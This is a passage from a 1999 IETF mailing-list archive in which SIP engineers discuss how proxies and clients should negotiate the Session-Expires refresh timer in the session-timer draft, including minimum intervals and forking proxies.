          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id QAA28513 for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 16:05:47 GMT
Received: by cosexch002.mcit.com with Internet Mail Service (5.5.2232.9)
	id <FCM7TXCL>; Wed, 17 Feb 1999 09:08:40 -0700
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D8577425@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: Conference Control List <confctrl@ISI.EDU>
Subject: Negotiation of session-expires refresh timer
Date: Wed, 17 Feb 1999 09:08:39 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE5A8F.C7F430C8"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE5A8F.C7F430C8
Content-Type: text/plain

One of the things that had been bothering me about the draft as it exists is
the interaction of multiple proxy servers interested in session timers.  If
the first proxy server has a desired refresh period longer then the second
then the following could occur (I have added the concept of including the
acceptable session expires in the 4xx response, which at a minimum needs to
be added to the existing draft):

UAC  -> SPS1 INVITE Session-Expires=180
SPS1 <- UAC  4xx Session-Expires=120
UAC  -> SPS1 INVITE Session-Expires=120
SPS1 -> SPS2 INVITE Session-Expires=120
SPS2 <- SPS1 4xx Session-Expires=100
SPS1 <- UAC  4xx Session-Expires=100
UAC  -> SPS1 INVITE Session-Expires=100
SPS1 -> SPS2 INVITE Session-Expires=100
SPS2 -> UAS  INVITE Session-Expires=100
UAS  <- SPS2 4XX Session-Expires=90

etc., etc, etc.

This is clearly not a desirable situation and is made worse by the inclusion
of more proxy servers.

I would assert that the following behavior, suggested in an offline note by
Adam Roach, is better.  The concept here is that the Proxy Servers and the
UAS would have the ability to adjust the value of the Session-Expires header
to their liking (although it could only be adjusted down).

UAC  -> SPS1  INVITE Session-Expires=180
SPS1 -> SPS2  INVITE Session-Expires=120
SPS2 -> UAS   INVITE Session-Expires=100
UAS  <- SPS2  200 OK Session-Expires=90
SPS2 <- SPS1  200 OK Session-Expires=90
SPS1 <- UAC   200 OK Session-Expires=90
UAC  -> SPS1  ACK Session-Expires=90
SPS1 -> SPS2  ACK Session-Expires=90
SPS2 -> UAS   ACK Session-Expires=90

This way no new messages have been added to achieve the negotiation of
acceptable session refresh timers.

At any time during this process, the proxy servers or UAC could CANCEL the
session setup if the negotiated timers are not acceptable.

Another variant of this would be if the initial invite from the UAC did not
contain a session-expires header.  In this case, the SPS1 would have the
ability to add a session-expires header to the INVITE that is sent on to the
SPS2, instead of explicitly rejecting the INVITE and requiring the UAC to
initiate a new INVITE.

UAC  -> SPS1  INVITE (no session-expires header)
SPS1 -> SPS2  INVITE Session-Expires=120
SPS2 -> UAS   INVITE Session-Expires=100
UAS  <- SPS2  200 OK Session-Expires=90
SPS2 <- SPS1  200 OK Session-Expires=90
SPS1 <- UAC   200 OK Session-Expires=90
UAC  -> SPS1  ACK Session-Expires=90
SPS1 -> SPS2  ACK Session-Expires=90
SPS2 -> UAS   ACK Session-Expires=90

Thanks to Adam for the suggestion.

Thoughts...

Steve


------_=_NextPart_001_01BE5A8F.C7F430C8
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>Negotiation of session-expires refresh timer</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">One of the things =
that had been bothering me about the draft as it exists is the =
interaction of multiple proxy servers interested in session =
timers.&nbsp; If the first proxy server has a desired refresh period =
longer then the second then the following could occur (I have added the =
concept of including the acceptable session expires in the 4xx =
response, which at a minimum needs to be added to the existing =
draft):</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAC&nbsp; -&gt; =
SPS1 INVITE Session-Expires=3D180</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 &lt;- =
UAC&nbsp; 4xx Session-Expires=3D120</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAC&nbsp; -&gt; =
SPS1 INVITE Session-Expires=3D120</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 -&gt; SPS2 =
INVITE Session-Expires=3D120</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS2 &lt;- SPS1 =
4xx Session-Expires=3D100</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 &lt;- =
UAC&nbsp; 4xx Session-Expires=3D100</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAC&nbsp; -&gt; =
SPS1 INVITE Session-Expires=3D100</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 -&gt; SPS2 =
INVITE Session-Expires=3D100</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS2 -&gt; =
UAS&nbsp; INVITE Session-Expires=3D100</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAS&nbsp; &lt;- =
SPS2 4XX Session-Expires=3D90</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">etc., etc, =
etc.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">This is clearly =
not a desirable situation and is made worse by the inclusion of more =
proxy servers.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">I would assert =
that the following behavior, suggested in an offline note by Adam =
Roach, is better.&nbsp; The concept here is that the Proxy Servers and =
the UAS would have the ability to adjust the value of the =
Session-Expires header to their liking (although it could only be =
adjusted down).</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAC&nbsp; -&gt; =
SPS1&nbsp; INVITE Session-Expires=3D180</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 -&gt; =
SPS2&nbsp; INVITE Session-Expires=3D120</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS2 -&gt; =
UAS&nbsp;&nbsp; INVITE Session-Expires=3D100</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAS&nbsp; &lt;- =
SPS2&nbsp; 200 OK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS2 &lt;- =
SPS1&nbsp; 200 OK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 &lt;- =
UAC&nbsp;&nbsp; 200 OK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAC&nbsp; -&gt; =
SPS1&nbsp; ACK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 -&gt; =
SPS2&nbsp; ACK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS2 -&gt; =
UAS&nbsp;&nbsp; ACK Session-Expires=3D90</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">This way no new =
messages have been added to achieve the negotiation of acceptable =
session refresh timers.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">At any time =
during this process, the proxy servers or UAC could CANCEL the session =
setup if the negotiated timers are not acceptable.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Another variant =
of this would be if the initial invite from the UAC did not contain a =
session-expires header.&nbsp; In this case, the SPS1 would have the =
ability to add a session-expires header to the INVITE that is sent on =
to the SPS2, instead of explicitly rejecting the INVITE and requiring =
the UAC to initiate a new INVITE.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAC&nbsp; -&gt; =
SPS1&nbsp; INVITE (no session-expires header)</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 -&gt; =
SPS2&nbsp; INVITE Session-Expires=3D120</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS2 -&gt; =
UAS&nbsp;&nbsp; INVITE Session-Expires=3D100</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAS&nbsp; &lt;- =
SPS2&nbsp; 200 OK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS2 &lt;- =
SPS1&nbsp; 200 OK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 &lt;- =
UAC&nbsp;&nbsp; 200 OK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">UAC&nbsp; -&gt; =
SPS1&nbsp; ACK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS1 -&gt; =
SPS2&nbsp; ACK Session-Expires=3D90</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">SPS2 -&gt; =
UAS&nbsp;&nbsp; ACK Session-Expires=3D90</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Thanks to Adam =
for the suggestion.</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 =
FACE=3D"Fixedsys">Thoughts...</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">Steve</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BE5A8F.C7F430C8--

From confctrl-owner  Wed Feb 17 08:52:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA14522
	for confctrl-outgoing; Wed, 17 Feb 1999 08:52:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14517
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 08:52:54 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA02589
	for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 08:52:52 -0800 (PST)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id QAA28334; Wed, 17 Feb 1999 16:49:28 GMT
Received: from localHost ([166.35.151.149]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990217165224.KFWD26495@localHost>;
          Wed, 17 Feb 1999 10:52:24 -0600
Date: Wed, 17 Feb 1999 10:52 -0600 (CST)
From: John Hearty <John.H.Hearty@mci.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Conference Control List <confctrl@ISI.EDU>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, Pat.Calhoun@Eng.Sun.COM,
        Dean Willis <Dean.Willis@mci.com>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
Message-Id: <19990217165224.KFWD26495@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



>>Patrice Calhoun wrote:
>>> 
>>> I am sure that we will get to that one day :). However, I would like to
>>> understand why this would not work.
>>> 
>>> Here is an example:
>>> 
>>>     SC1 ------> SS1 --------> SS2 -------> SC2
>>> 
>>> In the above picture, Sip Client 1 (SC1) sends an invite along to its local
>>> Sip Server (SS1). The server adds some timeout information to the request
>>> and passes this along to SS2. If SS2 is satisfied with the timeout
>>information
>>> added by SS1, it will leave it be. If SS2 requires a smaller timeout period,
>>> SS2 will modify the timeout value and pass the INVITE to SC2.
>>> 
>>> SC2 must response with an ACK. This ACK could include the timeout period, and
>>> could be checked by either SIP Server to ensure that it meets its local
>>> policy. The Sip Servers will assume that the session is destroyed within the
>>> timeout period, unless SC1 re-sends another INVITE message.
>>
>>Thats pretty much whats specified in the Donovan draft. THe difference
>>is that the timeout doesn't get reflected in the ACK. THis is not
>>needed, though. The timeout should be echoed in the response, which will
>>be seen by both servers. I think this works just fine. The only issue
>>has to do with backwards compatibility - knowing that SC1 will
>>understand the timer in the response.
>
>ok, but what is a client sends a timeout of infinity, and the server's policy
>does not allow it to maintain soft state that long for a single session?

In a separate mail, Steve Donovan wrote:
>
>    I suppose one optimization to the current draft is to give the SIP
>Server the ability to specify an acceptable session time in the situations
>where the client either doesn't specify a duration or when the client
>specifies an unacceptable (too long) duration.

As Steve noted, we could add some information (in the reject?) to the
client indicating what timeout (max/min?) was allowed when a reject
was sent back to a client.  His draft seems to put control of the timer
with the originating client, and this suggested negotiation would work
well in that case.  Something more complex and uglier might be needed
if the terminating client were allowed to change the timer value in
the 200 OK.  I do not see any value added in allowing the terminating
client to modify the timer.

John H.

>
>PatC
>>
>>-Jonathan R.
>>
>>
>>-- 
>>Jonathan D. Rosenberg                       Lucent Technologies
>>Member of Technical Staff                   101 Crawfords Corner Rd.
>>High Speed Networks Research                Holmdel, NJ 07733
>>FAX: (732) 834-5379                         Rm. 4C-526
>>EMAIL: jdrosen@bell-labs.com
>>URL: http://www.cs.columbia.edu/~jdrosen



From confctrl-owner  Wed Feb 17 09:58:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA22083
	for confctrl-outgoing; Wed, 17 Feb 1999 09:58:57 -0800 (PST)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA22027
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 09:58:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by boreas.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00247
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 09:43:59 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08420
	for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 09:43:58 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id RAA29631; Wed, 17 Feb 1999 17:40:34 GMT
Received: from localHost ([166.35.151.149]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990217174322.LJTI16006@localHost>;
          Wed, 17 Feb 1999 11:43:22 -0600
Date: Wed, 17 Feb 1999 11:27 -0600 (CST)
From: John Hearty <John.H.Hearty@mci.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Conference Control List <confctrl@ISI.EDU>
CC: Pat.Calhoun@Eng.Sun.COM, Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Dean Willis <Dean.Willis@mci.com>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
Message-Id: <19990217174322.LJTI16006@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Patrice Calhoun wrote:
>> 
>> >Thats pretty much whats specified in the Donovan draft. THe difference
>> >is that the timeout doesn't get reflected in the ACK. THis is not
>> >needed, though. The timeout should be echoed in the response, which will
>> >be seen by both servers. I think this works just fine. The only issue
>> >has to do with backwards compatibility - knowing that SC1 will
>> >understand the timer in the response.
>> 
>> ok, but what is a client sends a timeout of infinity, and the server's policy
>> does not allow it to maintain soft state that long for a single session?
>
>I'm not sure what it says in the draft; in a prior email I suggested
>that each proxy along the chain can decrease (but not increase) the
>value of the timer. The result is that the timer in the response
>represents the minimal refresh interval needed by all servers. By
>definition, this means that every server will receive a refresh in time
>(not true if servers are allowed to increase the interval).
>

 We need to be careful about minimums too.  One proxy in a network
could change the value to 1 second for all it's calls and greatly increase
the workload of many other proxys.  For this reason I feel the draft
should indicate some reasonable minimum, maybey 6 seconds, a common
billing increment in the telephony world, or maybey 1 minute to reduce
potential load on proxies.

 This idea of potentially decreasing the timer along the way and echoing
the final (smallest) value back to the originating client might be
a good idea, as it can eliminate the need for rejected invites and
negotiating acceptable values between clients and proxies.  Will we
run into problems with multicasted calls and/or forking proxies if
this is done?  Or just have the originating client use the smallest
value from all the responses?

John H.

From confctrl-owner  Wed Feb 17 11:03:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA24990
	for confctrl-outgoing; Wed, 17 Feb 1999 11:03:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24985
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 11:03:32 -0800 (PST)
Received: from toto.oz.is (toto.oz.is [193.4.211.170])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA17126
	for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 11:03:30 -0800 (PST)
From: jii@oz.is
Received: from kansas.intranet.oz.is (scarecrow.oz.is [193.4.211.95])
	by toto.oz.is (8.8.7/8.8.7) with SMTP id OAA18275
	for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 14:04:31 -0500
Received: by kansas.intranet.oz.is(Lotus SMTP MTA v4.6.1  (569.2 2-6-1998))  id 0025671B.00680973 ; Wed, 17 Feb 1999 18:56:21 +0000
X-Lotus-FromDomain: OZ-INC
To: confctrl@ISI.EDU
Message-ID: <0025671B.00672E8B.00@kansas.intranet.oz.is>
Date: Wed, 17 Feb 1999 18:56:17 +0000
Subject: SIP as a Media Gateway Control Protocol
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I am looking for drafts and / or document describing the usage of SIP for
controlling media gateways.  I am pretty sure that I read one some time ago
but I have not been able to find it again.

Wr,

Jon Ingi Ingimundarson
Senior Software Engineer
OZ.Com

e-mail : jii@oz.is
phone: +354.535.0011




From confctrl-owner  Wed Feb 17 12:41:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA29066
	for confctrl-outgoing; Wed, 17 Feb 1999 12:41:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA29061
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 12:41:20 -0800 (PST)
Received: from redheat.cs.umass.edu (redheat.cs.umass.edu [128.119.41.58])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA26267
	for <confctrl@isi.edu>; Wed, 17 Feb 1999 12:41:18 -0800 (PST)
Received: from cs.umass.edu (localhost [127.0.0.1])
	by redheat.cs.umass.edu (8.8.7/8.8.7) with ESMTP id PAA25713
	for <confctrl@isi.edu>; Wed, 17 Feb 1999 15:40:59 -0500 (EST)
Message-ID: <36CB2959.DD2F2946@cs.umass.edu>
Date: Wed, 17 Feb 1999 15:40:57 -0500
From: Lewis McCarthy <lmccarth@cs.umass.edu>
Organization: Theoretical Computer Science Group, University of Massachusetts at Amherst
X-Mailer: Mozilla 4.03 [en] (X11; U; IRIX 5.3 IP20)
MIME-Version: 1.0
To: MMUSIC WG List <confctrl@ISI.EDU>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <199902171328.FAA04774@hsmpka.eng.sun.com> <36CADF25.FC6907AB@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg writes:
> in a prior email I suggested
> that each proxy along the chain can decrease (but not increase) the
> value of the timer. The result is that the timer in the response
> represents the minimal refresh interval needed by all servers. By
> definition, this means that every server will receive a refresh in time
> (not true if servers are allowed to increase the interval).

Would there be a need in this approach to account for the delay 
introduced by the length of the chain?  Suppose the proxy farthest down 
the chain from the refreshing client happens to want the smallest 
timeout period T of all the proxies.  If the client waits about T time
before sending the refresh to the nearest proxy, the distant proxy's
timer may expire before it receives that refresh. 

-Lewis				http://www.cs.umass.edu/~lmccarth
-- 
"we have to yet really seriously debate the constitutional issues and 
whether or not we're willing to give up more freedom in order to have 
more security" -- U.S. Secretary of Defense William Cohen, 3 Feb 1999

From confctrl-owner  Wed Feb 17 13:34:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA01711
	for confctrl-outgoing; Wed, 17 Feb 1999 13:34:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA01702
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 13:34:10 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA00497
	for <confctrl@isi.edu>; Wed, 17 Feb 1999 13:34:08 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Feb 17 16:32:45 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id QAA20150;
	Wed, 17 Feb 1999 16:32:43 -0500 (EST)
Message-ID: <36CB34E2.AE83DBB2@dnrc.bell-labs.com>
Date: Wed, 17 Feb 1999 16:30:10 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: John Hearty <John.H.Hearty@mci.com>
CC: Conference Control List <confctrl@ISI.EDU>, Pat.Calhoun@Eng.Sun.COM,
        Dean Willis <Dean.Willis@mci.com>
Subject: Re: draft-ietf-mmusic-sip-session-timer-00.txt
References: <19990217174322.LJTI16006@localHost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

John Hearty wrote:
> 
> >I'm not sure what it says in the draft; in a prior email I suggested
> >that each proxy along the chain can decrease (but not increase) the
> >value of the timer. The result is that the timer in the response
> >represents the minimal refresh interval needed by all servers. By
> >definition, this means that every server will receive a refresh in time
> >(not true if servers are allowed to increase the interval).
> >
> 
>  We need to be careful about minimums too.  One proxy in a network
> could change the value to 1 second for all it's calls and greatly increase
> the workload of many other proxys.  For this reason I feel the draft
> should indicate some reasonable minimum, maybey 6 seconds, a common
> billing increment in the telephony world, or maybey 1 minute to reduce
> potential load on proxies.

A good idea. A reasonable minimum depends on the planned usage, I'm
afraid. If you are trying to bill for a SIP phone call, a few seconds is
probably needed. If the point is just to clean away old state, something
even larger than a minute is OK. 

> 
>  This idea of potentially decreasing the timer along the way and echoing
> the final (smallest) value back to the originating client might be
> a good idea, as it can eliminate the need for rejected invites and
> negotiating acceptable values between clients and proxies.  Will we
> run into problems with multicasted calls and/or forking proxies if
> this is done?  Or just have the originating client use the smallest
> value from all the responses?

It cannot use the smallest value across all responses.

There are two cases with forking proxy. In case 1, a single user is
contacted, but through different paths. In this case, the caller will
get multiple 200's, each from the same user, but with different paths.
This raises an interesting issue. Lets say every server put itself in
the Record Route header. Now, when the caller goes to send a BYE, it
will do so using only one of the paths it learned from one of the 200
responses (call this the main branch). Thus, servers on another path
won't ever see the BYE. The keepalives get sent only along one path,
using the keepalive from the 200 response on that path, and the other
paths (and their keepalive intervals) are ignored. This would allow
those non-main branch servers to time out the session state, a neccesary
thing here.

In case 2, multiple users are contacted, so multiple 200 responses come
back (each with a different tag). In this case, if the client sends an
ACK to all of them, it will need to refresh each independently, using
the interval for that particular branch, read from the response on that
path.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Feb 17 15:41:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA11991
	for confctrl-outgoing; Wed, 17 Feb 1999 15:41:58 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA11986
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 15:41:56 -0800 (PST)
Received: from mailgate.nortel.ca (mailgate.NortelNetworks.com [192.58.194.74])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA14042
	for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 15:41:55 -0800 (PST)
Received: from zcard00m.ca.nortel.com by mailgate.nortel.ca;
          Wed, 17 Feb 1999 18:41:41 -0500
Received: by zcard00m.ca.nortel.com with Internet Mail Service (5.0.1460.8) 
          id <1686F8XN>; Wed, 17 Feb 1999 18:41:40 -0500
Message-ID: <C51ED84B6F47D211917A0000F8BCBD11C95DD1@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: confctrl@ISI.EDU
Subject: RE: SIP as a Media Gateway Control Protocol
Date: Wed, 17 Feb 1999 18:41:38 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.0.1460.8)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I'm not aware of such a draft, certainly not in the past half-year.  There
was one on SIP gateway requirements.

> -----Original Message-----
> From:	jii@oz.is [SMTP:jii@oz.is]
> Sent:	Wednesday, February 17, 1999 1:56 PM
> To:	confctrl@ISI.EDU
> Subject:	SIP as a Media Gateway Control Protocol
> 
> 
> I am looking for drafts and / or document describing the usage of SIP for
> controlling media gateways.  I am pretty sure that I read one some time
> ago
> but I have not been able to find it again.
> 
> Wr,
> 
> Jon Ingi Ingimundarson
> Senior Software Engineer
> OZ.Com
> 
> e-mail : jii@oz.is
> phone: +354.535.0011
> 
> 

From confctrl-owner  Wed Feb 17 16:06:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA15803
	for confctrl-outgoing; Wed, 17 Feb 1999 16:06:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA15777
	for <confctrl@zephyr.isi.edu>; Wed, 17 Feb 1999 16:06:21 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA16630
	for <confctrl@ISI.EDU>; Wed, 17 Feb 1999 16:06:19 -0800 (PST)
Received: from omta2.mcit.com (omta2.mcit.com [166.37.204.3])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id AAA24549; Thu, 18 Feb 1999 00:02:21 GMT
Received: from dwillispc3 ([166.35.227.103]) by omta2.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990218000519.OTCN27406@dwillispc3>;
          Wed, 17 Feb 1999 18:05:19 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Lewis McCarthy" <lmccarth@cs.umass.edu>
Cc: "Conference Control List" <confctrl@ISI.EDU>
Subject: RE: draft-ietf-mmusic-sip-session-timer-00.txt
Date: Wed, 17 Feb 1999 18:05:01 -0600
Message-ID: <003101be5ad2$545f0d20$05808acd@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
In-Reply-To: <36CB2959.DD2F2946@cs.umass.edu>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Importance: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


How about renewing at 1/2 T, where T is the minimum time unit on the
proxy chain. If T is greater than 1 minute or so, this should preclude
accidental expirations as the renewal propagates. As T increases, this
gives us a nice backoff on renewals . . .

--
Dean

> -----Original Message-----
> From: owner-confctrl@ISI.EDU
> [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Lewis McCarthy
> Sent: Wednesday, February 17, 1999 2:41 PM
